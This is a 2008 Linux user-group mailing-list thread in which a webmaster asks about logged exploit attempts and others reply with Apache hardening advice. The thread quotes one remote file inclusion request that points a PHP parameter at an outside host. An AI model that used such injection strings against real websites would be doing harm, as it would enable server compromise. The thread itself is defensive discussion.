The full log example, httpd.conf and index.php (php.ini [and optionally my.cnf]) would have to be evaluated to determine unequivicably what is happening, what is at risk, and whether it's worth dropping to a rewrite or iptable deny.
It's really easy to get silly with denials just because of log hit errors. Since source IP addresses can also be trivially spoofed or cloaked, it actually does not good. Aggressive scanners, meaning to take down their targets, even drop your DNS server IP's into their source cloaking origination script --- so you will automatically drop them to the deny file.
It's possibly an input validation attempt/test for known Apache exploits (mod_status) from a common Wikto/Nikto or Metasploit pentest scan. Reference: http://securitytracker.com/alerts/2008/Jan/1019154.html
Many of the script attempts seen in logs from scanners are innoculous, like the old Apache 1.3 mod_proxy holes (which aren't an issue unless you have proxy enabled); however, you should turn off Server Tokens Reference: http://www.cgisecurity.com/lib/ryan_barnett_gcux_practical.html#servertokens
Or optionally, modify your Apache source code referrer_h from VERSION to something like "$mycompany Portal" and rebuild; see "Adding Unique Server Tokens" http://safari.informit.com/0672322404/ch07lev1sec13 and Implementing fake headers http://www.webappsec.org/projects/threat/classes/fingerprinting.shtml.
It's of extreme importance that each and every Admin or Webmaster know what modules are enabled, and what version of Apache, including known exploits, related to their configurations, so that they can mitigate each risk. Just yum installing an Apache version and toying with Php until it works creates problems later for everyone. Imagine people getting XSS browser stunnel exploits from rogue email, that bounce off holes in some innoculous webserver with a clueless profit deluded entrepreneur? Failing to plan is planning to fail! The only freedom we have is through responsibility?
References:
http://httpd.apache.org/security_report.html
http://phpsec.org/
www.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |
http://www.urbandictionary.com/define.php?term=obnosis (503)754-4452
Catch the January PLUG HackFest! Kristy Westphal, CSO for the Arizona Department of Economic
Security will provide a one hour
presentation on forensics 1/10/09 at UAT.edu.
From: boneal@cornerstonehome.com
To: klsmith2020@yahoo.com; plug-discuss@lists.plug.phoenix.az.us
Subject: RE: Website Exploits
Date: Wed, 3 Dec 2008 23:21:28 -0700
I too would be interested in knowing
this.
I used to get these sorts of php attacks all the
time. Along with tons of other common exploits. Since I use a custom
java app I was not too worried, but I also took advantage of the fact that our
service is only available to US and Canada and cut out every other county with
an apache rewrite. That alone cut out just over 90% of the auto attacks we
were getting.
Hi,
I am working on a website that gets a lot of
exploit attempts.
They mostly look like this:
/index.php?display=http://humano.ya.com/mysons/index.htm?
Our code
is set to disregard any value that is not expected.
I'm
wondering if there is a clearing house for reporting this type of
stuff. I have the IP address as reported.... if that is
accurate.
Thanks in advance!
Keith
|
Send e-mail faster without improving your typing skills. Get your Hotmail® account.